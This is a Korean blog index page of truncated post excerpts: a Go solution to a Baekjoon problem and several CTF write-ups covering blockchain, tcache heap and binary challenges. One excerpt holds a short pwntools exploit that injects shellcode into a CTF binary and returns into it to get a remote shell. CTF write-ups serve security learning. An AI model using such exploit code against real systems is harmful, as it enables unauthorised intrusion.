본문 바로가기

분류 전체보기264

(BOJ) 15666 풀이 package main import ( "bufio" "os" "sort" "strconv" "strings" ) var reader = bufio.NewReader(os.Stdin) var writer = bufio.NewWriter(os.Stdout) var N,M int var ar,numbers []int func back(k,prev int){ if k==M{ // fmt.Println(ar) for i:=0;i 다음 수도 4(numbers[i+1]일 때, 재귀호출하면 중복되는 수열이 출력된다. 이를 막기위해 ar[k] 에 들어간 값을 tmp 에 저장한 뒤, 현재 numbers[i] 와 비교해서 걸러야한다. 입력받을 때 중복을 제거하는 방법도 있다. go 언어로 짜면서 배운거 var reader.. 2022. 3. 9.
(CTF) UMDCTF 2022 writeup 요즘 ctf 에 블록체인, 스마트컨트렉트 관련 문제도 많이 나오고 있다. 바운티도 많이주고 재미있는 분야라서 올해 열심히 연구해보려고 한다. 마침 블록체인 문제가 있길래 하나 풀어봤다. Blockchain 2 - ChungusCoin https://hackernoon.com/learn-blockchains-by-building-one-117428612f46 위 글에 있는 내용을 기반으로 축소해서 파이썬+Flask 로 구축한 simple blockchain 이다시마. /nodes/update 에 chain 을 전송해 조건에 맞으면 flag 를 보내준다리미. values = request.get_json() length = values['length'] challenger_chain = values['cha.. 2022. 3. 7.
(HackCTF) 훈폰정음 writeup TL;DR heap challenge, tcache tcache 가 있는 GLIBC 2.27 라이브러리를 사용하는문제다. add table 배열의 index 0~6 에 0x000 ~ 0x400 size 의 chunk 를 할당받아 저장해줄 수 있다. 이미 chunk 가 존재하면 안됨 size 는 size 배열에 저장된다. edit table[index] 에 chunk 가 있으면, size[index] 만큼 수정가능. delete int delete() { int result; // eax int v2; // [rsp+Ch] [rbp-4h] puts("인덱스를 입력하시오:"); result = smooth(); v2 = result; while ( v2 >= 0 && v2 2022. 2. 26.
(CTF) hacking camp CTF 24th writeup (미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup) invitation from pwn import * r=remote("ctf-hackingcamp.com",10319) context.arch='i386' b=ELF("./invitation") pay=b'x'*0x18 pr=0x0804836d pay+=p32(b.sym['CODE']) r.sendafter("code : ",asm(shellcraft.i386.linux.sh())) r.sendlineafter("password : ",pay) r.interactive() NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴. shell execve 가 seccomp 걸려있었다. 도커파일있는줄 모르고 계속 getdents 로 읽어올려했는.. 2022. 2. 24.